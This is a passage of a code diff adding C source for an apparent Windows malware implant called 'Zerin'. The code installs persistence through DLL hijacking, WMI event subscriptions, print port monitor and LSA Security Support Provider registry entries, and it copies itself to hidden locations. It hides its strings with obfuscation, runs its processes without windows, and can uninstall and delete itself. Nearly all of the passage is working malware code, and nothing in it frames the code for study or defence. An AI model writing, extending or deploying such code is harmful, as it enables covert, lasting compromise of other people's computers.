dll_name = task->args[1]; + obf_wipe(dll_name_buf, sizeof(dll_name_buf)); + } + + snprintf(dest_path, sizeof(dest_path), "%s\\%s", target_dir, dll_name); + + if (!CopyFileA(exe_path, dest_path, FALSE)) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to copy file for DLL hijack"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "DLL hijack placed: %s (source: %s)", dest_path, exe_path); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 8. persist_wmi — WMI event subscription via PowerShell (admin) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_wmi(const task_t *task, task_result_t *result, char *cwd) { + char exe_path[MAX_PATH]; + char cmd_line[4096]; + char sub_name_buf[64]; + const char *sub_name; + + obf_decrypt_to(OBF_ZERIN_WMI, sub_name_buf, sizeof(sub_name_buf)); + sub_name = sub_name_buf; + STARTUPINFOA si; + PROCESS_INFORMATION pi; + DWORD exit_code; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) { + sub_name = task->args[0]; + obf_wipe(sub_name_buf, sizeof(sub_name_buf)); + } + + /* Validate sub_name is shell-safe (no injection into PowerShell) */ + if (!is_shell_safe(sub_name)) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid subscription name: contains shell metacharacters"); + return -1; + } + /* Also reject PowerShell-specific injection chars */ + { + const char *p = sub_name; + while (*p) { + if (*p == '$' || *p == '(' || *p == ')' || *p == '{' || + *p == '}' || *p == ';' || *p == '"') { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 305: invalid name (metacharacters)"); + return -1; + } + p++; + } + } + + /* Escape backslashes in exe_path for PowerShell */ + char ps_path[MAX_PATH * 2]; + { + size_t j = 0; + for (size_t i = 0; exe_path[i] && j < sizeof(ps_path) - 2; i++) { + if (exe_path[i] == '\\') { + ps_path[j++] = '\\'; + ps_path[j++] = '\\'; + } else { + ps_path[j++] = exe_path[i]; + } + } + ps_path[j] = '\0'; + } + + { + char ps_prefix[128]; + obf_decrypt_to(OBF_WMI_PS_FMT, ps_prefix, sizeof(ps_prefix)); + snprintf(cmd_line, sizeof(cmd_line), + "%s" + "$filter = Set-WmiInstance -Namespace root\\subscription " + "-Class __EventFilter -Arguments @{" + "Name='%s';" + "EventNamespace='root\\cimv2';" + "QueryLanguage='WQL';" + "Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 " + "WHERE TargetInstance ISA \\\"Win32_PerfFormattedData_PerfOS_System\\\"'" + "}; " + "$consumer = Set-WmiInstance -Namespace root\\subscription " + "-Class CommandLineEventConsumer -Arguments @{" + "Name='%s';" + "CommandLineTemplate='%s'" + "}; " + "Set-WmiInstance -Namespace root\\subscription " + "-Class __FilterToConsumerBinding -Arguments @{" + "Filter=$filter;" + "Consumer=$consumer" + "}\"", + ps_prefix, sub_name, sub_name, ps_path); + obf_wipe(ps_prefix, sizeof(ps_prefix)); + } + + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + + if (!CreateProcessA(NULL, cmd_line, NULL, NULL, FALSE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("ERR 306: process create"); + return -1; + } + + WaitForSingleObject(pi.hProcess, 30000); + GetExitCodeProcess(pi.hProcess, &exit_code); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + if (exit_code != 0) { + obf_wipe(sub_name_buf, sizeof(sub_name_buf)); + result->success = false; + result->error_code = (int32_t)exit_code; + result->error_message = _strdup("ERR 307: subscription failed (need elevation)"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "WMI event subscription '%s' created: %s", sub_name, exe_path); + obf_wipe(sub_name_buf, sizeof(sub_name_buf)); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 9. persist_portmon — Port monitor DLL registration (admin) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_portmon(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char subkey[512]; + char monitor_name_buf[64]; + const char *monitor_name; + + obf_decrypt_to(OBF_ZERIN_PORT, monitor_name_buf, sizeof(monitor_name_buf)); + monitor_name = monitor_name_buf; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) { + monitor_name = task->args[0]; + obf_wipe(monitor_name_buf, sizeof(monitor_name_buf)); + } + + { + char pm_base[128]; + obf_decrypt_to(OBF_PRINT_MONITORS, pm_base, sizeof(pm_base)); + snprintf(subkey, sizeof(subkey), "%s\\%s", pm_base, monitor_name); + obf_wipe(pm_base, sizeof(pm_base)); + } + + status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, subkey, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, + NULL, &hkey, NULL); + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to create port monitor key (need elevation)"); + return -1; + } + + char drv_buf[32]; + obf_decrypt_to(OBF_DRIVER, drv_buf, sizeof(drv_buf)); + status = RegSetValueExA(hkey, drv_buf, 0, REG_SZ, + (const BYTE *)exe_path, + (DWORD)(strlen(exe_path) + 1)); + obf_wipe(drv_buf, sizeof(drv_buf)); + RegCloseKey(hkey); + + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to set port monitor Driver value"); + return -1; + } + + obf_wipe(monitor_name_buf, sizeof(monitor_name_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), + "Port monitor '%s' registered: HKLM\\...\\Print\\Monitors\\%s\\Driver = %s", + monitor_name, monitor_name, exe_path); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 10. persist_ssp — Security Support Provider DLL (admin) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_ssp(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char subkey_buf[128]; + char value_name_buf[64]; + const char *subkey; + const char *value_name; + + obf_decrypt_to(OBF_LSA_PATH, subkey_buf, sizeof(subkey_buf)); + obf_decrypt_to(OBF_SECURITY_PACKAGES, value_name_buf, sizeof(value_name_buf)); + subkey = subkey_buf; + value_name = value_name_buf; + + (void)cwd; + (void)task; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + /* Read existing Security Packages value, append our DLL */ + status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, subkey, 0, + KEY_READ | KEY_WRITE, &hkey); + if (status != ERROR_SUCCESS) { + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to open LSA key (need elevation)"); + return -1; + } + + /* Read existing multi-string value */ + DWORD data_type = 0; + DWORD data_size = 0; + status = RegQueryValueExA(hkey, value_name, NULL, &data_type, NULL, &data_size); + + char *new_data = NULL; + DWORD new_size = 0; + + if (status == ERROR_SUCCESS && data_type == REG_MULTI_SZ && data_size > 2) { + /* Append our path to existing list */ + /* Multi-string: str1\0str2\0...\0\0 */ + DWORD exe_len = (DWORD)strlen(exe_path); + new_size = data_size + exe_len + 1; + new_data = (char *)calloc(new_size + 2, 1); /* +2 for safety */ + if (!new_data) { + RegCloseKey(hkey); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Memory allocation failed"); + return -1; + } + + /* Read existing data into temp buffer first to validate */ + char *raw = (char *)calloc(data_size + 1, 1); + if (!raw) { + free(new_data); + RegCloseKey(hkey); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Memory allocation failed"); + return -1; + } + RegQueryValueExA(hkey, value_name, NULL, NULL, + (BYTE *)raw, &data_size); + + /* Rebuild multi-string: copy existing entries, check for duplicate, + * then append our entry. This avoids fragile backwards-walking. */ + DWORD out_pos = 0; + int already_present = 0; + const char *scan = raw; + while (scan < raw + data_size && *scan) { + size_t slen = strlen(scan); + if (strcmp(scan, exe_path) == 0) + already_present = 1; + /* Bounds check: ensure copy fits */ + if (out_pos + slen + 1 > new_size) break; + memcpy(new_data + out_pos, scan, slen + 1); + out_pos += (DWORD)(slen + 1); + scan += slen + 1; + } + free(raw); + + if (already_present) { + free(new_data); + RegCloseKey(hkey); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), + "SSP already registered: %s", exe_path); + result->success = true; + result->output = _strdup(msg); + return 0; + } + + /* Append our entry + double-null terminator */ + memcpy(new_data + out_pos, exe_path, exe_len); + out_pos += exe_len; + new_data[out_pos++] = '\0'; + new_data[out_pos++] = '\0'; + new_size = out_pos; + } else { + /* Create new multi-string with just our entry */ + new_size = (DWORD)strlen(exe_path) + 2; + new_data = (char *)calloc(new_size + 1, 1); + if (!new_data) { + RegCloseKey(hkey); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Memory allocation failed"); + return -1; + } + memcpy(new_data, exe_path, strlen(exe_path)); + /* Double null terminator already set by calloc */ + } + + status = RegSetValueExA(hkey, value_name, 0, REG_MULTI_SZ, + (const BYTE *)new_data, new_size); + free(new_data); + RegCloseKey(hkey); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to write Security Packages value"); + return -1; + } + char msg[512]; + snprintf(msg, sizeof(msg), + "SSP registered: added %s to HKLM\\...\\Lsa\\Security Packages", + exe_path); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +#endif /* _WIN32 */ diff --git a/src/commands/persist_install.c b/src/commands/persist_install.c new file mode 100755 index 0000000..b4ad351 --- /dev/null +++ b/src/commands/persist_install.c @@ -0,0 +1,537 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include + +#ifdef _WIN32 +#include + +static int marker_exists(void) { + HKEY hkey; + char marker_key[128], marker_val[64]; + obf_decrypt_to(OBF_SESSION_KEY_PATH, marker_key, sizeof(marker_key)); + obf_decrypt_to(OBF_MAINTENANCE_VAL, marker_val, sizeof(marker_val)); + if (RegOpenKeyExA(HKEY_CURRENT_USER, marker_key, 0, KEY_READ, &hkey) != ERROR_SUCCESS) { + obf_wipe(marker_key, sizeof(marker_key)); + obf_wipe(marker_val, sizeof(marker_val)); + return 0; + } + DWORD type, size = 0; + LONG r = RegQueryValueExA(hkey, marker_val, NULL, &type, NULL, &size); + RegCloseKey(hkey); + obf_wipe(marker_key, sizeof(marker_key)); + obf_wipe(marker_val, sizeof(marker_val)); + return (r == ERROR_SUCCESS); +} + +static void marker_set(uint32_t methods) { + HKEY hkey; + char marker_key[128], marker_val[64]; + obf_decrypt_to(OBF_SESSION_KEY_PATH, marker_key, sizeof(marker_key)); + obf_decrypt_to(OBF_MAINTENANCE_VAL, marker_val, sizeof(marker_val)); + if (RegCreateKeyExA(HKEY_CURRENT_USER, marker_key, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hkey, NULL) == ERROR_SUCCESS) { + RegSetValueExA(hkey, marker_val, 0, REG_DWORD, + (const BYTE *)&methods, sizeof(methods)); + RegCloseKey(hkey); + } + obf_wipe(marker_key, sizeof(marker_key)); + obf_wipe(marker_val, sizeof(marker_val)); +} + +static void marker_delete(void) { + HKEY hkey; + char marker_key[128], marker_val[64]; + obf_decrypt_to(OBF_SESSION_KEY_PATH, marker_key, sizeof(marker_key)); + obf_decrypt_to(OBF_MAINTENANCE_VAL, marker_val, sizeof(marker_val)); + if (RegOpenKeyExA(HKEY_CURRENT_USER, marker_key, 0, KEY_WRITE, &hkey) == ERROR_SUCCESS) { + RegDeleteValueA(hkey, marker_val); + RegCloseKey(hkey); + } + obf_wipe(marker_key, sizeof(marker_key)); + obf_wipe(marker_val, sizeof(marker_val)); +} + +/* ── Self-copy to hidden install location ─────────────────────────── */ + +static int ensure_directory(const char *path) { + char tmp[MAX_PATH]; + strncpy(tmp, path, MAX_PATH - 1); + tmp[MAX_PATH - 1] = '\0'; + for (char *p = tmp + 1; *p; p++) { + if (*p == '\\') { + *p = '\0'; + CreateDirectoryA(tmp, NULL); + *p = '\\'; + } + } + return CreateDirectoryA(tmp, NULL) || GetLastError() == ERROR_ALREADY_EXISTS; +} + +void persist_self_copy(zerin_config_t *cfg) { + char current_path[MAX_PATH]; + char install_dir_path[MAX_PATH]; + char install_path[MAX_PATH]; + char base_dir[MAX_PATH]; + + /* Get current exe path */ + if (!GetModuleFileNameA(NULL, current_path, MAX_PATH)) return; + + /* Resolve base directory from config */ + switch (cfg->install_dir) { + case 0: /* %TEMP% */ + if (!GetTempPathA(MAX_PATH, base_dir)) return; + /* GetTempPathA appends trailing backslash — remove it */ + { size_t len = strlen(base_dir); + if (len > 0 && base_dir[len - 1] == '\\') base_dir[len - 1] = '\0'; } + break; + case 1: /* %LOCALAPPDATA% */ + if (FAILED(SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, base_dir))) + return; + break; + case 2: /* %APPDATA% */ + if (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, base_dir))) + return; + break; + case 3: /* %PROGRAMDATA% */ + if (FAILED(SHGetFolderPathA(NULL, CSIDL_COMMON_APPDATA, NULL, 0, base_dir))) + return; + break; + case 4: /* %USERPROFILE% */ + if (FAILED(SHGetFolderPathA(NULL, CSIDL_PROFILE, NULL, 0, base_dir))) + return; + break; + default: /* Fallback to LOCALAPPDATA */ + if (FAILED(SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, base_dir))) + return; + break; + } + + snprintf(install_dir_path, MAX_PATH, "%s\\%s", base_dir, cfg->install_subdir); + snprintf(install_path, MAX_PATH, "%s\\%s", install_dir_path, cfg->install_filename); + + /* If already running from install location, nothing to do */ + if (_strnicmp(current_path, install_dir_path, strlen(install_dir_path)) == 0) { + return; + } + + /* Create install directory */ + ensure_directory(install_dir_path); + + /* Copy exe to install location */ + if (!CopyFileA(current_path, install_path, FALSE)) { + return; + } + + /* Set hidden + system attributes */ + SetFileAttributesA(install_path, + FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); + + /* Spawn the copy */ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + + if (CreateProcessA(install_path, GetCommandLineA(), NULL, NULL, + FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + /* Exit current process — the copy will continue */ + ExitProcess(0); + } +} + +/* Helper: call a persist command with default args, return success/failure */ +static int run_persist(command_handler_fn handler) { + task_t t; + task_result_t r; + char cwd[MAX_PATH]; + int ok; + memset(&t, 0, sizeof(t)); + memset(&r, 0, sizeof(r)); + GetCurrentDirectoryA(MAX_PATH, cwd); + handler(&t, &r, cwd); + ok = r.success ? 1 : 0; + if (r.output) free(r.output); + if (r.error_message) free(r.error_message); + if (r.data) free(r.data); + return ok; +} + +void persist_auto_install(zerin_config_t *cfg) { + uint32_t succeeded = 0; + + if (cfg->persist_methods == 0) return; + persist_self_copy(cfg); /* Copy to hidden location before registering persistence */ + if (marker_exists()) return; + + /* Bug 2: Acquire named mutex to prevent concurrent auto-install races */ + char mtx_name[64]; + obf_decrypt_to(OBF_PERSIST_MUTEX, mtx_name, sizeof(mtx_name)); + HANDLE hmtx = CreateMutexA(NULL, FALSE, mtx_name); + obf_wipe(mtx_name, sizeof(mtx_name)); + if (!hmtx) return; + if (WaitForSingleObject(hmtx, 15000) != WAIT_OBJECT_0) { + CloseHandle(hmtx); + return; + } + + /* Re-check marker inside mutex (another instance may have just set it) */ + if (marker_exists()) { + ReleaseMutex(hmtx); + CloseHandle(hmtx); + return; + } + + /* Bug 7: Mask out admin-only methods when not elevated */ + uint32_t methods = cfg->persist_methods; + if (!is_elevated()) + methods &= ~PERSIST_ADMIN_MASK; + + /* Only record methods that actually installed successfully */ + if ((methods & PERSIST_RUNKEY) && run_persist(cmd_persist_runkey)) + succeeded |= PERSIST_RUNKEY; + if ((methods & PERSIST_SCHTASK) && run_persist(cmd_persist_schtask)) + succeeded |= PERSIST_SCHTASK; + if ((methods & PERSIST_SERVICE) && run_persist(cmd_persist_service)) + succeeded |= PERSIST_SERVICE; + if ((methods & PERSIST_STARTUP) && run_persist(cmd_persist_startup)) + succeeded |= PERSIST_STARTUP; + if ((methods & PERSIST_LOGONSCRIPT) && run_persist(cmd_persist_logonscript)) + succeeded |= PERSIST_LOGONSCRIPT; + if ((methods & PERSIST_SCREENSAVER) && run_persist(cmd_persist_screensaver)) + succeeded |= PERSIST_SCREENSAVER; + if ((methods & PERSIST_IFEO) && run_persist(cmd_persist_ifeo)) + succeeded |= PERSIST_IFEO; + if ((methods & PERSIST_BITS) && run_persist(cmd_persist_bits)) + succeeded |= PERSIST_BITS; + if ((methods & PERSIST_COM) && run_persist(cmd_persist_com)) + succeeded |= PERSIST_COM; + if ((methods & PERSIST_WMI) && run_persist(cmd_persist_wmi)) + succeeded |= PERSIST_WMI; + if ((methods & PERSIST_PORTMON) && run_persist(cmd_persist_portmon)) + succeeded |= PERSIST_PORTMON; + if ((methods & PERSIST_SSP) && run_persist(cmd_persist_ssp)) + succeeded |= PERSIST_SSP; + + /* Bug 1: Only set marker when at least one method succeeded. + * If nothing succeeded, allow retry on next run. */ + if (succeeded != 0) + marker_set(succeeded); + + ReleaseMutex(hmtx); + CloseHandle(hmtx); +} + +// ── Uninstall helpers ───────────────────────────────────────────────── + +static void remove_runkey(void) { + HKEY hkey; + char subkey[128], val[64]; + obf_decrypt_to(OBF_RUN_KEY_PATH, subkey, sizeof(subkey)); + obf_decrypt_to(OBF_ZERIN_UPDATE, val, sizeof(val)); + if (RegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &hkey) == ERROR_SUCCESS) { + RegDeleteValueA(hkey, val); + RegCloseKey(hkey); + } + obf_wipe(subkey, sizeof(subkey)); + obf_wipe(val, sizeof(val)); +} + +static void remove_schtask(void) { + char tn[64]; + obf_decrypt_to(OBF_ZERIN_MAINTENANCE, tn, sizeof(tn)); + char cmd[256]; + { + char fmt[64]; + obf_decrypt_to(OBF_SCHTASKS_DELETE_FMT, fmt, sizeof(fmt)); + snprintf(cmd, sizeof(cmd), fmt, tn); + obf_wipe(fmt, sizeof(fmt)); + } + obf_wipe(tn, sizeof(tn)); + STARTUPINFOA si; PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + if (CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, 10000); + CloseHandle(pi.hProcess); CloseHandle(pi.hThread); + } +} + +static void remove_service(void) { + char svc_name[64]; + obf_decrypt_to(OBF_ZERIN_SVC, svc_name, sizeof(svc_name)); + SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!scm) { obf_wipe(svc_name, sizeof(svc_name)); return; } + SC_HANDLE svc = OpenServiceA(scm, svc_name, DELETE | SERVICE_STOP); + if (svc) { + SERVICE_STATUS ss; + ControlService(svc, SERVICE_CONTROL_STOP, &ss); + DeleteService(svc); + CloseServiceHandle(svc); + } + CloseServiceHandle(scm); + obf_wipe(svc_name, sizeof(svc_name)); +} + +static void remove_startup(void) { + char path[MAX_PATH]; + if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_STARTUP, NULL, 0, path))) { + char fname[64]; + obf_decrypt_to(OBF_ZERIN_UPDATE_EXE, fname, sizeof(fname)); + size_t plen = strlen(path); + snprintf(path + plen, MAX_PATH - plen, "\\%s", fname); + DeleteFileA(path); + obf_wipe(fname, sizeof(fname)); + } +} + +static void remove_logonscript(void) { + HKEY hkey; + char subkey[64], val[64]; + obf_decrypt_to(OBF_ENVIRONMENT, subkey, sizeof(subkey)); + obf_decrypt_to(OBF_LOGON_SCRIPT, val, sizeof(val)); + if (RegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &hkey) == ERROR_SUCCESS) { + RegDeleteValueA(hkey, val); + RegCloseKey(hkey); + } + obf_wipe(subkey, sizeof(subkey)); + obf_wipe(val, sizeof(val)); +} + +static void remove_screensaver(void) { + HKEY hkey; + char subkey[64], val[32], ssa[32], sst[32]; + obf_decrypt_to(OBF_DESKTOP_PATH, subkey, sizeof(subkey)); + obf_decrypt_to(OBF_SCRNSAVE, val, sizeof(val)); + obf_decrypt_to(OBF_SCREEN_SAVE_ACTIVE, ssa, sizeof(ssa)); + obf_decrypt_to(OBF_SCREEN_SAVE_TIMEOUT, sst, sizeof(sst)); + if (RegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &hkey) == ERROR_SUCCESS) { + RegDeleteValueA(hkey, val); + RegDeleteValueA(hkey, ssa); + RegDeleteValueA(hkey, sst); + RegCloseKey(hkey); + } + obf_wipe(subkey, sizeof(subkey)); + obf_wipe(val, sizeof(val)); + obf_wipe(ssa, sizeof(ssa)); + obf_wipe(sst, sizeof(sst)); +} + +static void remove_ifeo(void) { + char ifeo[128]; + obf_decrypt_to(OBF_SETHC_IFEO, ifeo, sizeof(ifeo)); + /* Only delete the Debugger value, not the entire IFEO key. + * The key itself may be used by other legitimate software. */ + HKEY hkey; + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, ifeo, 0, KEY_WRITE, &hkey) == ERROR_SUCCESS) { + char dbg_buf[32]; + obf_decrypt_to(OBF_DEBUGGER, dbg_buf, sizeof(dbg_buf)); + RegDeleteValueA(hkey, dbg_buf); + obf_wipe(dbg_buf, sizeof(dbg_buf)); + RegCloseKey(hkey); + } + obf_wipe(ifeo, sizeof(ifeo)); +} + +static void remove_bits(void) { + char jn[64]; + obf_decrypt_to(OBF_ZERIN_TRANSFER, jn, sizeof(jn)); + char cmd[256]; + { + char fmt[64]; + obf_decrypt_to(OBF_BITSADMIN_CANCEL_FMT, fmt, sizeof(fmt)); + snprintf(cmd, sizeof(cmd), fmt, jn); + obf_wipe(fmt, sizeof(fmt)); + } + obf_wipe(jn, sizeof(jn)); + STARTUPINFOA si; PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + if (CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, 10000); + CloseHandle(pi.hProcess); CloseHandle(pi.hThread); + } +} + +static void remove_com(void) { + char com_path[128]; + obf_decrypt_to(OBF_COM_CLSID_PATH, com_path, sizeof(com_path)); + /* Only delete the InProcServer32 subkey, NOT the parent CLSID key. + * The parent CLSID may be shared by other software and deleting + * it could corrupt the system COM registry. */ + RegDeleteKeyA(HKEY_CURRENT_USER, com_path); + obf_wipe(com_path, sizeof(com_path)); +} + +static void remove_wmi(void) { + char wmi_name[64]; + obf_decrypt_to(OBF_ZERIN_WMI, wmi_name, sizeof(wmi_name)); + char ps_prefix[128]; + obf_decrypt_to(OBF_WMI_PS_FMT, ps_prefix, sizeof(ps_prefix)); + char cmd[1024]; + snprintf(cmd, sizeof(cmd), + "%s" + "Get-WmiObject -Namespace root\\subscription -Class __FilterToConsumerBinding " + "| Where-Object { $_.Filter -match '%s' } | Remove-WmiObject; " + "Get-WmiObject -Namespace root\\subscription -Class __EventFilter " + "| Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; " + "Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer " + "| Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\"", + ps_prefix, wmi_name, wmi_name, wmi_name); + obf_wipe(ps_prefix, sizeof(ps_prefix)); + obf_wipe(wmi_name, sizeof(wmi_name)); + STARTUPINFOA si; PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + if (CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, 15000); + CloseHandle(pi.hProcess); CloseHandle(pi.hThread); + } +} + +static void remove_portmon(void) { + char pm_base[128], pm_name[64]; + obf_decrypt_to(OBF_PRINT_MONITORS, pm_base, sizeof(pm_base)); + obf_decrypt_to(OBF_ZERIN_PORT, pm_name, sizeof(pm_name)); + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s\\%s", pm_base, pm_name); + RegDeleteKeyA(HKEY_LOCAL_MACHINE, full_path); + obf_wipe(pm_base, sizeof(pm_base)); + obf_wipe(pm_name, sizeof(pm_name)); +} + +static void remove_ssp(void) { + HKEY hkey; + char exe_path[MAX_PATH]; + GetModuleFileNameA(NULL, exe_path, MAX_PATH); + + char lsa_path[128], sec_pkg[64]; + obf_decrypt_to(OBF_LSA_PATH, lsa_path, sizeof(lsa_path)); + obf_decrypt_to(OBF_SECURITY_PACKAGES, sec_pkg, sizeof(sec_pkg)); + + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, lsa_path, 0, KEY_READ | KEY_WRITE, &hkey) != ERROR_SUCCESS) { + obf_wipe(lsa_path, sizeof(lsa_path)); + obf_wipe(sec_pkg, sizeof(sec_pkg)); + return; + } + + DWORD type, size = 0; + if (RegQueryValueExA(hkey, sec_pkg, NULL, &type, NULL, &size) != ERROR_SUCCESS || + type != REG_MULTI_SZ || size <= 2) { + RegCloseKey(hkey); + obf_wipe(lsa_path, sizeof(lsa_path)); + obf_wipe(sec_pkg, sizeof(sec_pkg)); + return; + } + + char *data = (char *)calloc(size + 1, 1); + if (!data) { + obf_wipe(lsa_path, sizeof(lsa_path)); + obf_wipe(sec_pkg, sizeof(sec_pkg)); + RegCloseKey(hkey); + return; + } + RegQueryValueExA(hkey, sec_pkg, NULL, NULL, (BYTE *)data, &size); + + // Rebuild without our entry + char *out = (char *)calloc(size + 1, 1); + if (!out) { free(data); RegCloseKey(hkey); return; } + DWORD out_pos = 0; + const char *p = data; + while (*p) { + size_t slen = strlen(p); + if (strcmp(p, exe_path) != 0) { + memcpy(out + out_pos, p, slen + 1); + out_pos += (DWORD)(slen + 1); + } + p += slen + 1; + } + out[out_pos++] = '\0'; // double null + + RegSetValueExA(hkey, sec_pkg, 0, REG_MULTI_SZ, (BYTE *)out, out_pos); + free(out); + free(data); + RegCloseKey(hkey); + obf_wipe(lsa_path, sizeof(lsa_path)); + obf_wipe(sec_pkg, sizeof(sec_pkg)); +} + +int cmd_uninstall(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + bool elevated = is_elevated(); + + // Remove user-level persistence (always) + remove_runkey(); + remove_schtask(); + remove_startup(); + remove_logonscript(); + remove_screensaver(); + remove_bits(); + remove_com(); + + // Remove admin-level persistence only when elevated + if (elevated) { + remove_service(); + remove_ifeo(); + remove_wmi(); + remove_portmon(); + remove_ssp(); + } + + // Remove marker + marker_delete(); + + /* Schedule self-deletion using two approaches for reliability: + * 1. MoveFileEx with MOVEFILE_DELAY_UNTIL_REBOOT (guaranteed on reboot) + * 2. cmd /c ping + del trick (immediate attempt after process exits) */ + char exe_path[MAX_PATH]; + GetModuleFileNameA(NULL, exe_path, MAX_PATH); + + /* Approach 1: Schedule deletion on next reboot (works even if file is locked) */ + MoveFileExA(exe_path, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); + + /* Approach 2: Try immediate deletion after a short delay */ + { + char cmd[2048]; + char del_tmpl[128]; + obf_decrypt_to(OBF_SELF_DELETE, del_tmpl, sizeof(del_tmpl)); + snprintf(cmd, sizeof(cmd), del_tmpl, exe_path); + obf_wipe(del_tmpl, sizeof(del_tmpl)); + + STARTUPINFOA si; PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; 